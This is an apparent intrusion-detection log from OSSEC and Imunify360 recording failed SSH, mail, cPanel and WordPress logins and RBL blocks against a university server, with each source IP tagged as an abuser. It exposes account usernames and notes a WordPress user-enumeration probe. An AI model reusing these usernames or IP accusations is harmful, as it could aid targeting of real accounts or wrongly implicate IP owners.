# incident

plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.10.212
description:
Jan 29 10:57:46 ait sshd[68504]: pam_imunify(sshd:auth): [IM360_RBL] The IP 182.61.10.212 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 182.61.10.212
description:
Jan 29 10:57:46 ait sshd[68504]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=182.61.10.212  user=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.206.113.91
description:
2025-01-29 10:57:16 dovecot_plain authenticator failed for ([175.206.113.91]) [175.206.113.91]:39178: 535 Incorrect authentication data (set_id=ads20a00254y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.131.21.110
description:
[2025-01-29 10:57:19 +0100] info [webmaild] 177.131.21.110 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.59.178.25
description:
2025-01-29 10:57:30 dovecot_plain authenticator failed for ([188.59.178.25]) [188.59.178.25]:46269: 535 Incorrect authentication data (set_id=abs08b99933y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.29.196.170
description:
Jan 29 10:56:54 ait auth[4150392]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.29.196.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.158.42
description:
Jan 29 10:56:57 ait auth[4150392]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.158.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.99.223.203
description:
2025-01-29 10:57:12 dovecot_plain authenticator failed for ([210.99.223.203]) [210.99.223.203]:56612: 535 Incorrect authentication data (set_id=ads20a00227y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.206.113.91
description:
Jan 29 10:57:14 ait auth[4150392]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.206.113.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
description:
2025-01-29 10:58:36 dovecot_plain authenticator failed for ([221.209.48.204]) [221.209.48.203]:58176: 535 Incorrect authentication data (set_id=ads15a00028y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.171.127.190
description:
Jan 29 10:57:55 ait auth[4150392]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.171.127.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.171.127.190
description:
2025-01-29 10:57:57 dovecot_plain authenticator failed for ([111.171.127.190]) [111.171.127.190]:44589: 535 Incorrect authentication data (set_id=abs08b99933y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.209.48.203
description:
Jan 29 10:58:34 ait auth[4150392]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.209.48.203 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 46.246.7.39
description:
Jan 29 10:59:39 ait sshd[69234]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=46.246.7.39  user=ait002


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 109.185.41.79
description:
[2025-01-29 10:59:45 +0100] info [webmaild] 109.185.41.79 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.99.61.248
description:
Jan 29 10:58:59 ait auth[4150392]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.99.61.248 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.99.61.248
description:
2025-01-29 10:59:01 dovecot_plain authenticator failed for ([14.99.61.248]) [14.99.61.248]:44168: 535 Incorrect authentication data (set_id=ads15a00028y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.72.23.176
description:
[2025-01-29 11:00:47 +0100] info [webmaild] 177.72.23.176 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.139.88.148
description:
2025-01-29 11:01:26 dovecot_plain authenticator failed for 148.red-2-139-88.dynamicip.rima-tde.net (denthes) [2.139.88.148]:52842: 535 Incorrect authentication data (set_id=ads21b00213y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 168.195.142.106
description:
[2025-01-29 11:01:36 +0100] info [webmaild] 168.195.142.106 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 65.109.164.46
domain: mail.iric.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:11-01.65.109.164.46


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.42.101.18
description:
[2025-01-29 11:01:20 +0100] info [webmaild] 179.42.101.18 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.139.88.148
description:
Jan 29 11:01:24 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.139.88.148 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.187.68.200
description:
[2025-01-29 11:02:02 +0100] info [webmaild] 103.187.68.200 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.66.113.58
description:
Jan 29 11:02:03 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.66.113.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.244.213.234
description:
Jan 29 11:02:10 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.244.213.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.244.213.234
description:
2025-01-29 11:02:12 dovecot_plain authenticator failed for ([115.244.213.234]) [115.244.213.234]:47588: 535 Incorrect authentication data (set_id=mssept2014@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.124.241.138
description:
Jan 29 11:02:43 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.124.241.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.124.241.138
description:
2025-01-29 11:02:45 dovecot_plain authenticator failed for ([116.124.241.138]) [116.124.241.138]:34198: 535 Incorrect authentication data (set_id=abs20a00063y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.66.113.58
description:
2025-01-29 11:02:05 dovecot_plain authenticator failed for ([183.66.113.58]) [183.66.113.58]:39468: 535 Incorrect authentication data (set_id=eng19a00089y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.243.43.30
description:
Jan 29 11:02:18 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.243.43.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.243.43.30
description:
2025-01-29 11:02:20 dovecot_plain authenticator failed for ([211.243.43.30]) [211.243.43.30]:36694: 535 Incorrect authentication data (set_id=eng19a00089y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.113.253.178
description:
Jan 29 11:02:37 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.113.253.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.253.178
description:
2025-01-29 11:02:39 dovecot_plain authenticator failed for ([116.113.253.178]) [116.113.253.178]:36097: 535 Incorrect authentication data (set_id=mssept2014)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.50.178.142
description:
2025-01-29 11:03:20 dovecot_plain authenticator failed for ([187.50.178.142]) [187.50.178.142]:44187: 535 Incorrect authentication data (set_id=ofei)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.6.69.226
description:
2025-01-29 11:02:57 dovecot_plain authenticator failed for ([221.6.69.226]) [221.6.69.226]:51515: 535 Incorrect authentication data (set_id=abs20a00063y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.166.68.89
description:
Jan 29 11:02:59 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.166.68.89 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.84.153.6
description:
[2025-01-29 11:03:08 +0100] info [webmaild] 187.84.153.6 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 213.230.86.214
description:
[2025-01-29 11:03:13 +0100] info [webmaild] 213.230.86.214 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 194.163.182.227
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:11-03.194.163.182.227


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.6.69.226
description:
Jan 29 11:02:55 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.6.69.226 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 11:03:12 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: modsec
rule: 77316861
name: IM360 WAF: Block IP which is in the infectors RBL
abuser: 74.80.208.214
domain: ait.edu.gh
description:
IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:11-03.74.80.208.214||RSV:6.65||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.166.68.89
description:
2025-01-29 11:03:01 dovecot_plain authenticator failed for (abts-kk-static-89.68.166.122.airtelbroadband.in) [122.166.68.89]:33140: 535 Incorrect authentication data (set_id=ofei@ait.edu.gh)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 74.80.208.214
domain: ait.edu.gh
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:6.65||T:APACHE||MV:/wp-json/wp/v2/users/1||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.187.61.70
description:
2025-01-29 11:04:06 dovecot_plain authenticator failed for (node-115-187-61-70.alliancebroadband.in) [115.187.61.70]:46750: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.205.112.156
description:
Jan 29 11:04:14 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.205.112.156 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.75.171.174
description:
Jan 29 11:04:22 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.75.171.174 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 157.100.138.123
description:
[2025-01-29 11:04:29 +0100] info [webmaild] 157.100.138.123 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.75.171.174
description:
2025-01-29 11:04:24 dovecot_plain authenticator failed for 174.subnet-24-75-171.ellijay.com [24.75.171.174]:58501: 535 Incorrect authentication data (set_id=yeboah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.166.8.174
description:
Jan 29 11:03:56 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.166.8.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.166.8.174
description:
2025-01-29 11:03:58 dovecot_plain authenticator failed for ([60.166.8.174]) [60.166.8.174]:41024: 535 Incorrect authentication data (set_id=suvie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.187.61.70
description:
Jan 29 11:04:04 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.187.61.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.225.185.154
description:
2025-01-29 11:04:16 dovecot_plain authenticator failed for ([124.225.185.154]) [124.225.185.154]:44350: 535 Incorrect authentication data (set_id=suvie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.225.185.154
description:
Jan 29 11:04:14 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.225.185.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 11:04:16 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Reciepient rejected
abuser: 45.197.14.83
description:
2025-01-29 11:04:38 H=(mail.ijari.us) [45.197.14.83]:52058 F=<hshwdqxzvz@ijari.us> rejected RCPT <validxxxg@gmail.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.205.112.156
description:
2025-01-29 11:04:16 dovecot_plain authenticator failed for (190-205-112-156.static.cantv.net) [190.205.112.156]:35373: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.237.219.90
description:
2025-01-29 11:04:53 dovecot_plain authenticator failed for ([183.237.219.90]) [183.237.219.90]:52060: 535 Incorrect authentication data (set_id=yeboah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.43.106.73
description:
Jan 29 11:05:08 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.43.106.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.43.106.73
description:
2025-01-29 11:05:10 dovecot_plain authenticator failed for ([177.43.106.65]) [177.43.106.73]:57847: 535 Incorrect authentication data (set_id=yeboah)


plugin: ossec
rule: 13008
name: Mail Reciepient rejected
abuser: 45.197.14.83
description:
2025-01-29 11:05:29 H=(mail.iric.us) [45.197.14.83]:51160 F=<tqmwmumimb@iric.us> rejected RCPT <validxxxg@gmail.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 11:05:32 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.237.219.90
description:
Jan 29 11:04:51 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.237.219.90 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.227.246.129
description:
[2025-01-29 11:05:58 +0100] info [webmaild] 186.227.246.129 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.176.140.55
description:
[2025-01-29 11:06:49 +0100] info [webmaild] 45.176.140.55 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.141.253.68
description:
[2025-01-29 11:06:06 +0100] info [webmaild] 177.141.253.68 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.31.178.52
description:
[2025-01-29 11:06:40 +0100] info [webmaild] 103.31.178.52 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.72.74.162
description:
Jan 29 11:07:10 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.72.74.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
description:
2025-01-29 11:07:12 dovecot_plain authenticator failed for (bentiones) [64.72.74.162]:57682: 535 Incorrect authentication data (set_id=eng16b00239y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.113.148.177
description:
[2025-01-29 11:07:34 +0100] info [webmaild] 103.113.148.177 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 216.10.245.107
description:
Jan 29 11:08:35 ait sshd[73790]: pam_imunify(sshd:auth): [IM360_RBL] The IP 216.10.245.107 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.242.233.236
description:
[2025-01-29 11:08:49 +0100] info [webmaild] 191.242.233.236 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 146.19.78.70
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:mssept2014@ait.edu.gh||WPU:mssept2014@ait.edu.gh||RSV:6.65||T:APACHE||MV:11-08.146.19.78.70


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 216.10.245.107
description:
Jan 29 11:08:35 ait sshd[73790]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=216.10.245.107


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 194.163.182.227
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:11-08.194.163.182.227


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 11:07:55 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.249.162
description:
Jan 29 11:09:13 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.249.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.120.163.110
description:
Jan 29 11:09:21 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.120.163.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.183.11.30
description:
Jan 29 11:09:39 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.183.11.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 11:08:54 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.120.163.110
description:
2025-01-29 11:09:23 dovecot_plain authenticator failed for ([212.120.163.110]) [212.120.163.110]:57147: 535 Incorrect authentication data (set_id=ads19b00282y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.183.11.30
description:
2025-01-29 11:09:41 dovecot_plain authenticator failed for ([103.183.11.30]) [103.183.11.30]:41126: 535 Incorrect authentication data (set_id=ads19b00282y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 11:09:46 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.200.249.162
description:
2025-01-29 11:09:15 dovecot_plain authenticator failed for ([189.56.79.105]) [186.200.249.162]:35482: 535 Incorrect authentication data (set_id=eng19a00089y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.225.53.149
description:
2025-01-29 11:10:41 dovecot_plain authenticator failed for ([173.225.53.149]) [173.225.53.149]:57221: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.189.153.136
description:
2025-01-29 11:10:00 dovecot_plain authenticator failed for ([110.189.153.136]) [110.189.153.136]:45596: 535 Incorrect authentication data (set_id=eng19a00089y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 11:10:08 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.189.153.136
description:
Jan 29 11:09:58 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.189.153.136 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.2.14.33
description:
2025-01-29 11:10:02 dovecot_plain authenticator failed for ([59.2.14.33]) [59.2.14.33]:44862: 535 Incorrect authentication data (set_id=ads21b00220y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 173.225.53.149
description:
Jan 29 11:10:39 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 173.225.53.149 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.198.129.54
description:
Jan 29 11:10:38 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.198.129.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.2.14.33
description:
Jan 29 11:10:00 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.2.14.33 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.49.34.101
description:
[2025-01-29 11:10:27 +0100] info [webmaild] 179.49.34.101 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.198.129.54
description:
2025-01-29 11:10:40 dovecot_plain authenticator failed for ip54-129-198-217.pool-bba.aruba.it [217.198.129.54]:55862: 535 Incorrect authentication data (set_id=ads21b00220y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 67.213.230.122
description:
Jan 29 11:11:03 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 67.213.230.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.194.128
description:
Jan 29 11:10:54 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.194.128 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.128
description:
2025-01-29 11:10:56 dovecot_login authenticator failed for ([178.178.194.128]) [178.178.194.128]:35458: 535 Incorrect authentication data (set_id=valeria553@ait-edu.us)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.252.72
description:
Jan 29 11:10:58 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.252.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.0.252.72
description:
2025-01-29 11:11:00 dovecot_plain authenticator failed for ([95.0.252.72]) [95.0.252.72]:53304: 535 Incorrect authentication data (set_id=ads21b00230y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 11:11:03 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.213.230.122
description:
2025-01-29 11:11:05 dovecot_login authenticator failed for ([67.213.230.122]) [67.213.230.122]:157: 535 Incorrect authentication data (set_id=valeria553)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.88.121.73
description:
2025-01-29 11:12:48 dovecot_plain authenticator failed for ([115.88.121.73]) [115.88.121.73]:46536: 535 Incorrect authentication data (set_id=mumuni@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.208.65.46
description:
Jan 29 11:12:15 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.208.65.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 11:11:55 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.89.143.234
description:
Jan 29 11:12:07 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.89.143.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.88.121.73
description:
Jan 29 11:12:46 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.88.121.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.208.65.46
description:
2025-01-29 11:12:17 dovecot_plain authenticator failed for ([82.208.65.46]) [82.208.65.46]:2965: 535 Incorrect authentication data (set_id=laryea)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.89.143.234
description:
2025-01-29 11:12:09 dovecot_plain authenticator failed for ([222.89.143.234]) [222.89.143.234]:54620: 535 Incorrect authentication data (set_id=laryea@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 11:13:23 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.56.31.167
description:
2025-01-29 11:13:51 dovecot_plain authenticator failed for p5b381fa7.dip0.t-ipconnect.de (eulogs) [91.56.31.167]:60507: 535 Incorrect authentication data (set_id=nkbosomefi@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 155.93.158.122
description:
[2025-01-29 11:13:00 +0100] info [webmaild] 155.93.158.122 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.37.79.117
description:
Jan 29 11:13:20 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.37.79.117 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.0.187.114
description:
[2025-01-29 11:13:46 +0100] info [webmaild] 186.0.187.114 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.29.20.52
description:
2025-01-29 11:13:29 dovecot_login authenticator failed for host-92-29-20-52.as13285.net [92.29.20.52]:49944: 535 Incorrect authentication data (set_id=valeria553)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.56.31.167
description:
